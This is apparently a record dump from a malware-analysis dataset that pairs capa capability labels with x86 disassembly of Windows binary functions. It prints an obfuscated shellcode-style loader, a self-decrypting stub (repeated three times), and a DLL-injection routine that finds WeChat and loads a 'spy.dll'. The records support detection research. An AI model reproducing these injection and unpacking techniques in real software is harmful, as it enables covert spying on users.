joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007baf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10007bbe
pop dword [ebp - 0x2c]
mov eax, 0xe93ae7ca
sub eax, 0xd93a6c0c
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x2b649f4c
sub dword [ebp - 0x3c], 0xdd125a01
mov dword [ebp - 0x38], 0xcfbca85b
sub dword [ebp - 0x38], 0x9d895c16
mov dword [ebp - 0x34], 0xd73ba66a
add dword [ebp - 0x34], 0x75109dc4
mov dword [ebp - 0x30], 0x53f288c9
add dword [ebp - 0x30], 0xac0d7737
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xce735a9f
sub dword [ebp - 0x3c], 0x5a00f149
mov dword [ebp - 0x38], 0x9af61d0f
add dword [ebp - 0x38], 0xa6764466
mov dword [ebp - 0x34], 0xf1c5a2ef
sub dword [ebp - 0x34], 0x8e563683
mov dword [ebp - 0x30], 0x4dacbd71
add dword [ebp - 0x30], 0xb253428f
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xb6e58bcd
add eax, 0x591af47b
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3948a
push 0
call eax
mov ecx, 0x7a473d63
add ecx, 0x85b91514
xor edx, edx
add edx, eax
mov esi, 0x6ced036c
sub esi, 0x5cec096c
add esi, dword [ebp - 0x2c]
mov ebx, 0xf2123513
sub dword [ebp - 8], edx
mov edi, dword [esi]
xor dword [ebp - 4], 0xd3f84021
add edi, ebx
add dword [ebp - 8], 0xe7b320a3
mov dword [edx], edi
add edx, 0xde4ad272
sub edx, 0xde4ad26e
add esi, 4
loop 0x10007cd7
add eax, 0x13caf
mov ebx, eax
add eax, 0xa80130e2
add eax, 0x57fecf23
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402a7a
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42e4b0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402b0e
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402acb
cmp dword [ebp + 0x10], ebx
jne 0x402b02
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402a7a
test eax, eax
jne 0x402add
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ab2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004060c8
cmp eax, ebx
je 0x402b15
push ebx
push dword [0x42e4b0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402b0e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42e4b0], ebx
jne 0x402b0b
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402b0b
jmp 0x402b0e
Function at 0x402e9f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x402ebc
mov dword [ebp - 8], reloc.USER32.dll_CreatePopupMenu
and dword [ebp - 4], 0
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x402ece
mov dword [ebp - 0xc], 0x418420
mov eax, dword [ebp + 8]
test eax, eax
jl 0x402ee3
mov ecx, dword [0x42e458]
add ecx, eax
push ecx
call fcn.004030c7
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.004030b1
test eax, eax
je 0x40309f
test byte [ebp + 0x17], 0x80
je 0x40304a
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
and dword [0x40ad84], 0
and dword [0x40ad80], 0
and dword [ebp + 0x14], 0x7fffffff
mov dword [ebp - 0x10], eax
mov eax, 0x40c408
mov dword [0x40a868], 8
mov dword [0x414410], eax
mov dword [0x41440c], eax
mov eax, dword [ebp + 0x14]
mov dword [0x414408], 0x414408
mov dword [ebp + 8], eax
jle 0x4030a7
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x402f5c
mov esi, dword [ebp + 0x14]
mov edi, 0x414420
push esi
push edi
call fcn.004030b1
test eax, eax
je 0x40309f
sub dword [ebp + 0x14], esi
mov dword [0x40a858], edi
mov dword [0x40a85c], esi
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0x40a858
mov dword [0x40a860], edi
mov dword [0x40a864], eax
call fcn.004061ab
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x403042
mov esi, dword [0x40a860]
sub esi, edi
call ebx
test byte [0x42e4b4], 1
mov edi, eax
je 0x402ffd
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
ja 0x402fca
cmp dword [ebp + 0x14], 0
jne 0x402ffd
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x54]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push 0
call fcn.00404f48
mov dword [ebp - 0x10], edi
test esi, esi
je 0x403036
cmp dword [ebp + 0x10], 0
jne 0x40301c
push esi
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call fcn.00405a49
test eax, eax
je 0x403046
add dword [ebp - 4], esi
jmp 0x40302a
mov eax, dword [0x40a860]
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 1
jne 0x402f7f
jmp 0x4030a7
cmp dword [ebp + 0x14], 0
jg 0x402f4f
jmp 0x4030a7
push 0xfffffffffffffffc
jmp 0x4030a1
push 0xfffffffffffffffe
jmp 0x4030a1
or edi, edi
jne 0x40308c
cmp dword [ebp + 0x14], edi
jle 0x4030a7
mov ebx, dword [ebp - 8]
cmp dword [ebp + 0x14], ebx
mov esi, dword [ebp + 0x14]
jl 0x403060
mov esi, ebx
mov edi, 0x414420
push esi
push edi
call fcn.004030b1
test eax, eax
je 0x40309f
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405a49
test eax, eax
je 0x403046
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403056
jmp 0x4030a7
cmp dword [ebp + 0x14], esi
jge 0x403094
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.004030b1
test eax, eax
jne 0x4030a4
push 0xfffffffffffffffd
pop eax
jmp 0x4030aa
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40540e
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x407374
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x407364
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
or eax, eax
je 0x40545f
xor eax, eax
jmp 0x405486
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x405486
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
jne 0x40545b
call esi
pop esi
leave
ret 4

Function at 0x4054c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x42b070], 0x44
push eax
xor eax, eax
push 0x42b070
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4054ff
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405589
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push edi
mov edi, dword [esp + 8]
push esi
push edi
call fcn.0040597d
mov esi, eax
cmp esi, 0xffffffff
je 0x4055ca
test byte [esp + 0x10], 1
push edi
je 0x4055ac
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x4055b2
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4055bb
xor eax, eax
inc eax
jmp 0x4055cc
test byte [esp + 0x10], 4
jne 0x4055ca
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop esi
pop edi
ret 8
Function at 0x40588f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42ac70
push esi
call fcn.00405d2f
push esi
call fcn.0040583a
mov edi, eax
test edi, edi
jne 0x4058b0
xor eax, eax
jmp 0x405902
push edi
call fcn.00405f9a
test byte [0x42e418], 0x80
je 0x4058c9
mov al, byte [edi]
test al, al
je 0x4058ac
cmp al, 0x5c
je 0x4058ac
sub edi, esi
jmp 0x4058e1
call fcn.00406033
or eax, eax
je 0x4058db
test byte [eax], 0x10
je 0x4058ac
push esi
call fcn.004057e8
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x4058cd
call fcn.004057a1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x40597d
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40599c
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x4059a2
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x4059d1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0x64
pop edi
mov esi, dword [ebp + 8]
dec edi
mov eax, dword [0x4093ac]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
push 0x1a
pop ecx
push esi
push 0
div ecx
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405a16
test edi, edi
jne 0x4059dc
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405a10
Function at 0x405a78
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, 0x42b5f8
push 0x4093c8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test esi, esi
mov ebx, 0x400
je 0x405ac6
push 1
push 0
push esi
call fcn.004059a2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push edi
push esi
call ebp
test eax, eax
je 0x405be5
cmp eax, ebx
jg 0x405be5
mov esi, 0x42b9f8
push ebx
push esi
push dword [esp + 0x1c]
call ebp
test eax, eax
je 0x405be5
cmp eax, ebx
jg 0x405be5
push esi
push edi
push str._s_s_r_n
push 0x42b1f8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x42e410]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405d51
push 4
push 0xc0000000
push esi
call fcn.004059a2
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x405be5
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405bde
push edi
push esi
push ebp
call fcn.00405a1a
test eax, eax
je 0x405bde
push str._Rename__r_n
push esi
call fcn.00405907
test eax, eax
jne 0x405b7c
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405bb1
add eax, 0xa
push 0x4093b0
push eax
call fcn.00405907
mov ebp, eax
test ebp, ebp
je 0x405bad
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405b9e
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405b98
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405bb3
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x42b1f8
push eax
call fcn.0040595d
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00405a49
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405bea
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
or eax, eax
jne 0x405c0d
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405a78
pop ecx
pop ecx
inc dword [0x42e490]
ret 8
Function at 0x10002240
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10023014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push str.SoftwareTencentWeChat
push 0x80000001
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x10002287
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100039aa
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 1
push eax
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0x208
push eax
push 0
push str.InstallPath
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x100022ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100022ca
test esi, esi
je 0x100022ca
push str.WeChat.exe
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100022d8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.100039aa
mov esp, ebp
pop ebp
ret

Function at 0x100024b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x27c
mov eax, dword [0x10023014]
xor eax, esp
mov dword [esp + 0x278], eax
push edi
mov edi, ecx
call fcn.100022f0
mov dword [edi], eax
test eax, eax
jne 0x1000257a
push 0x40
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x30], 0x44
push eax
call fcn.100055f0
add esp, 0xc
lea eax, [esp + 0x70]
push 0x208
push 0
push eax
call fcn.100055f0
add esp, 0xc
lea ecx, [esp + 0x70]
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
call fcn.10002240
test eax, eax
jne 0x1000257c
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x10002560
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
mov ecx, dword [esp + 0x278]
xor ecx, esp
call fcn.100039aa
mov esp, ebp
pop ebp
ret
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
mov dword [edi], eax
xor eax, eax
mov ecx, dword [esp + 0x27c]
pop edi
xor ecx, esp
call fcn.100039aa
mov esp, ebp
pop ebp
ret
Function at 0x10002700
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x10023014]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0x10024b90
push ebx
push esi
lea esi, [edx + 2]
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10002720
sub edx, esi
push ecx
sar edx, 1
push 0
push 0x1fffff
lea ebx, [edx*2 + 2]
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x1000276e
push eax
push str.InjectDll
push 0x100207fc
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100039aa
mov esp, ebp
pop ebp
ret
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
push 0
test edi, edi
jne 0x100027ac
push str.InjectDll
push str.DLL
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100039aa
mov esp, ebp
pop ebp
ret
push ebx
push 0x10024b90
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x1000289f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x200
mov ebx, eax
mov dword [ebp - 0x208], 0
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.100055f0
add esp, 0xc
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000284a
lea ecx, [ebp - 0x208]
push ecx
push esi
call eax
test eax, eax
je 0x1000284a
cmp dword [ebp - 0x208], 0
je 0x1000284a
push ebx
lea eax, [ebp - 0x204]
push 0x10020768
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push ebx
lea eax, [ebp - 0x204]
push str.LoadLibrary
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x204]
push 0
push str.InjectDll
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100039aa
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x10024d98
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100039aa
mov esp, ebp
pop ebp
ret
Function at 0x10002e40
Capabilities:
Check if file exists

Disassembly:
push ebx
push 0x104
push 0x10024b90
push 0x100208a8
mov bl, cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x10024b90
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test bl, bl
pop ebx
je 0x10002e76
push str.spy_debug.dll
jmp 0x10002e7b
push str.spy.dll
push 0x10024b90
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0x10024b90
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10002ead
push eax
push 0x100208e4
push 0x10024b90
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 2
ret
xor eax, eax
ret
Function at 0x10003250
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov cl, byte [0x10024da0]
call fcn.10002e40
test eax, eax
jne 0x10003316
mov eax, dword [0x10024d98]
push ebx
mov ebx, dword [0x10024d9c]
push esi
push edi
push 0x10024b90
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x10003310
push str.CleanupSpy
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push edi
sub esi, edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
add eax, esi
je 0x10003310
mov edi, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0
push 0
push 0
push eax
push 0
push 0
push ebx
call edi
mov esi, eax
test esi, esi
je 0x10003310
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push esi
call ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [0x10024d9c]
push 0
push 0
push dword [0x10024d98]
mov dword [ebp - 4], eax
push dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push eax
call edi
mov edi, eax
test edi, edi
jne 0x1000331a
push eax
push str.EjectDll
push 0x10020838
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push edi
call ebx
push edi
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4e5050
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
sub esp, 0x1c
mov esi, dword [esp + 0x30]
mov ebx, dword [esp + 0x34]
mov ecx, edi
call fcn.004e4ed0
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebp, eax
je 0x4e5090
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 4
je 0x4e5061
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x5097f0
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push edi
push esi
push ebx
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
xor eax, edi
cmp edi, 3
jbe 0x50987f
lea ecx, [edi - 4]
shr ecx, 2
lea esi, [edx + ecx*4 + 4]
imul ebx, dword [edx], 0x5bd1e995
add edx, 4
mov ecx, ebx
shr ecx, 0x18
xor ecx, ebx
imul ebx, eax, 0x5bd1e995
imul eax, ecx, 0x5bd1e995
xor eax, ebx
cmp edx, esi
jne 0x509810
and edi, 3
cmp edi, 2
je 0x509869
cmp edi, 3
je 0x509860
cmp edi, 1
je 0x509872
mov edx, eax
shr edx, 0xd
xor edx, eax
imul edx, edx, 0x5bd1e995
pop ebx
pop esi
pop edi
mov eax, edx
shr eax, 0xf
xor eax, edx
ret
movzx edx, byte [esi + 2]
shl edx, 0x10
xor eax, edx
movzx edx, byte [esi + 1]
shl edx, 8
xor eax, edx
movzx edx, byte [esi]
xor edx, eax
imul eax, edx, 0x5bd1e995
jmp 0x509844
mov esi, edx
jmp 0x509835

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401140
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x1544
call fcn.00402610
mov eax, dword [0x40b838]
push ebx
push esi
push edi
test eax, eax
je 0x401165
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x1544
ret
mov edi, dword [esp + 0x1554]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0x1000
push edi
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameA]
lea edx, [esp + 0x10]
mov esi, eax
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401206
test al, 0x10
je 0x401206
mov al, byte [esp + esi + 0xf]
lea edx, [esp + esi + 0x10]
cmp al, 0x5c
je 0x4011c6
mov edi, 0x4080fc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4080f8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1010]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call fcn.00401270
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x1544
ret
mov edx, dword [esp + 0xc]
test edx, edx
je 0x40124e
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x1010]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
mov byte [edx], 0
push ecx
call fcn.00401270
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x1544
ret
push edi
push str.Invalid_file_specification:___s_._n
push 0x408878
call fcn.00402480
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x1544
ret